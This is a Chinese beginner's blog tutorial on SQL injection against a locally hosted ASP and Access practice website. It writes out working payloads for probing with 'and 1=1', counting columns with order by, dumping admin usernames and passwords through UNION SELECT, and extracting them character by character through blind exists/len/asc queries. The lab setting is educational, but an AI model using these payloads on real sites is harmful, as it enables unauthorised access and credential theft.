这是我的第一篇文章,如有不好的地方还请多多担待,才开始接触网络安全,小白一个。
学习过程中遇到了非常多的问题,过程中发现很少有关于纯新手的文章,入门很难,所以我写了这篇文章,带大家能够更简单的理解网络世界。
话简单说,接下来是我看小迪渗透视频所学到的,我整理了一下,一步一步很详细,基本谁都能看懂。
搭建虚拟机,安装镜像就跳过了,网上也说的很明白,至于特定的软件安装,百度也有详细的解决办法。
SQL注入个人理解应该从数据库类型入手,平常要多多了解各种数据库的类型、结构、语句等等。
一、基本环境
操作系统 windows 2k3
脚本格式 asp
数据库 access
所用的asp服务器为 小旋风asp服务器,百度就有
用到的软件有 notepad++,Microsoft Access
本机网站示例 http://127.0.0.1:8001/0/index.asp
网站可以在下载中搜索:asp+access注入网站源码,进行下载,或者百度云链接:https://pan.baidu.com/s/1ghletQb 密码:w7y3
二、认识access数据库
把上面提到的资源包解压后放到服务器的网站文件夹里,我的是放在安装目录下的wwwroot下(每个服务器可能不一样,视情况而定),然后进入网站http://localhost:8001/0 8001是端口号,后面的是网站目录。
直接进入存在注入的地方http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513
如图
再用notepad++打开网站目录下的一个文件 .../0/Production\PRODUCT_DETAIL.asp
可以看到这里的代码的作用,如上图
其中文件包含conn.asp在 ...\0\Include_files\conn.asp
打开如下
包含即意味着执行,即为跳转到另一个文件程序执行
回到PRODUCT_DETAIL.asp文件,其中sql=”select * from product where id=”&id为查询数据库语句
比如在网址为http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513时该语句实际执行为
sql=”select * from product where id=”1513
该语句中product为数据库的表名,该数据库所在的目录为 ...\0\Database\#Data.mdb(需用Microsoft Access打开)其中有一个数据库为product
点击打开即可看到数据内容ID,名称,图片目录等等,如下图
图为id=1513所对应的数据内容(这里列名为ID)
三、注入原理
这里讲的是数学逻辑运算:与或非(and or xor)
真与真返回真
真且假返回假
真或真返回真
其中要用到的是第一个:真与真返回真
经典命令 and 1=1,两边同时成立则返回数据正常,而 and 1=2则返回错误
四、注入渗透
输入网址http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1
页面显示正常(地址栏里的空格被转码为%20,没关系的)
而输入网址http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=22结果如下
出现异常,说明存在sql注入漏洞
或者可以在http://localhost:8001/0/Production/PRODUCT_DETAIL.asp?id=1513随意加一些东西,都会出错
报错说明没有对输入进行过滤,语句可能能被数据库执行,所以有可能存在sql注入漏洞
然后实际操作验证与尝试。(这里的可能随后再说)
方法一:union(兼容性较差,较少运用)(绿色为举例数据)
1.猜字段(数据库项目的数量或者说长度)
order by 22
网页正确显示则猜解正确
这里的22就是说数据库列的项数目为22个,如果改为23就会发生报错
由于access数据库的结构为表名-列名-内容数据,想要得到内容数据需要一层层分析(信息收集时准备的数据库类型并搞明白该数据库的结构,并理清思路)
2.然后猜表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(这里的admin是最普通的站长用户名,一般来说不会用这个,因为比较危险,所以需要根据实际情况根据社工去猜测,或者用一些字典工具去猜测)
3猜内容(根据上面的反馈)
如图示说明在3和15的位置有项目存在数据内容,更改并猜测
这里把3改为user_name
再把15改为password
显示出来的即为用户名与密码了
与实际相符
方法二:exists
1.查表:and exists(select*from admin)
显示正常则查表正确
2.查列:and exists(select user_name from admin)
依然正确显示则查询正确
3.查数据:
确定长度:
and(select top 1 len(user_name)from admin)=5
查询过程中用and(select top 1 len(user_name)from admin)>5来猜测
还有and(select top 1 len(pass_word)from admin)=5
确定asc数据(ASCII编码):
and (select top 1 asc(mid(user_name,1,1)) from admin)=97 判断第一位
and (select top 1 asc(mid(user_name,2,1)) from admin)=97 判断第二位
and (select top 1 asc(mid(user_name,3,1)) from admin)=97 判断第三位
......
然后根据ASCII表(请自行百度)把数字转换成正常的数据即可